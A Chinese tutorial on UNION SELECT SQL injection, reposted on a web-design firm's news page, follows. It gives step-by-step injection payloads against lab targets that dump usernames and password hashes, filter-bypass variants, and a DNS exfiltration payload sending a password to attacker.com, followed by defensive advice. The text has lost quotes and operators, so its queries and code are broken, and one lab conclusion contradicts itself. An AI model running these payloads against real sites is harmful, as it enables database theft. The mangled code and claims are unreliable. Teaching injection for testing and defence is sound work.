资讯动态

SQL注入攻击:UNION SELECT技术详解与防御

发布时间:2026/10/28 2:19:58 来源:尧图企业网站定制
1. SQL注入实战联合查询UNION SELECT攻击详解联合查询注入是Web安全领域最经典也最危险的攻击手法之一。作为渗透测试工程师我每年在真实业务场景中遇到的SQL注入漏洞超过60%都可以通过UNION SELECT技术实现数据窃取。不同于简单的报错注入或布尔盲注联合查询能直接获取数据库中的完整数据记录效率极高。本文将基于DVWA、Pikachu等主流靶场环境拆解UNION注入的完整攻击链。2. 联合查询注入原理深度解析2.1 UNION操作符的数据库特性UNION在标准SQL语法中用于合并两个SELECT语句的结果集。关键特性包括前后SELECT语句的列数必须相同对应列的数据类型必须兼容默认会去除重复行UNION ALL可保留重复项攻击者正是利用这些特性构造恶意查询。例如正常查询SELECT name, price FROM products WHERE id1被注入后变为SELECT name, price FROM products WHERE id1 UNION SELECT username, password FROM users--2.2 漏洞产生的根本原因开发中常见的致命错误包括直接拼接用户输入到SQL语句使用过时的mysql_*系列函数PHP5.4已弃用未对参数进行类型强制转换错误配置数据库权限如允许普通用户读系统表我在审计某电商系统时曾发现这样的危险代码$id $_GET[product_id]; $sql SELECT * FROM products WHERE id . $id;3. 实战攻击五步法3.1 探测注入点使用经典测试字符串 ) ] } % ; 观察页面是否返回数据库错误。在CTFshow靶场中提交/product.php?id1若看到MySQL Syntax Error提示则存在注入可能。3.2 确定字段数通过ORDER BY子句二分探测?id1 ORDER BY 5-- ?id1 ORDER BY 3--当ORDER BY 4返回正常而ORDER BY 5报错时说明当前查询返回4列。3.3 定位回显位使用数字标记可显示位?id-1 UNION SELECT 1,2,3,4--观察页面哪个位置显示数字如显示2和4这些就是有效回显位。3.4 获取数据库信息通过information_schema提取元数据?id-1 UNION SELECT 1,database(),user(),version()--典型返回2: dvwa 4: rootlocalhost3.5 拖取目标数据完整攻击示例以DVWA的users表为例?id-1 UNION SELECT 1,concat(user,:,password),3,4 FROM users--输出格式admin:5f4dcc3b5aa765d61d8327deb882cf994. 高级绕过技术4.1 过滤绕过技巧当常见关键词被过滤时大小写变种UnIoN SeLeCt注释分割UNI//ON SEL//ECT十六进制编码0x554e494f4eUNION的HEX字符串拼接CONCAT(UN,ION)4.2 无回显场景处理利用DNS外带技术?id1 UNION SELECT 1,load_file(CONCAT(\\\\,(SELECT password FROM users LIMIT 1),.attacker.com\\share)),3,4--通过监控DNS日志获取数据。5. 防御方案设计5.1 代码层防护参数化查询PHP示例$stmt $pdo-prepare(SELECT * FROM products WHERE id ?); $stmt-execute([$id]);输入验证正则if(!preg_match(/^[0-9]$/, $_GET[id])){ die(Invalid input); }5.2 架构层防护最小权限原则应用数据库账号只赋予必要权限WAF规则配置拦截包含UNION、information_schema等关键字的请求数据库审计监控异常查询行为6. 靶场实战记录在Pikachu靶场的SQL-Inject关卡通过以下步骤完成注入测试字符型注入nameadmin AND 11-- nameadmin AND 12--确认存在布尔逻辑差异获取字段数nameadmin ORDER BY 3--返回正常说明字段数为2联合查询获取数据name UNION SELECT username,password FROM member--成功获取所有账号密码7. 企业级防护建议在金融系统安全评估中我总结出这些经验开发阶段强制使用ORM框架定期进行SQL注入专项扫描对DBA进行安全培训启用数据库的SQL防火墙功能某次渗透测试中我们发现即使使用了参数化查询开发人员这样写仍然存在风险String sql SELECT * FROM accounts WHERE id ?; stmt conn.prepareStatement(sql); stmt.setString(1, request.getParameter(id)); // 应使用setInt类型不匹配可能导致隐式转换漏洞。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑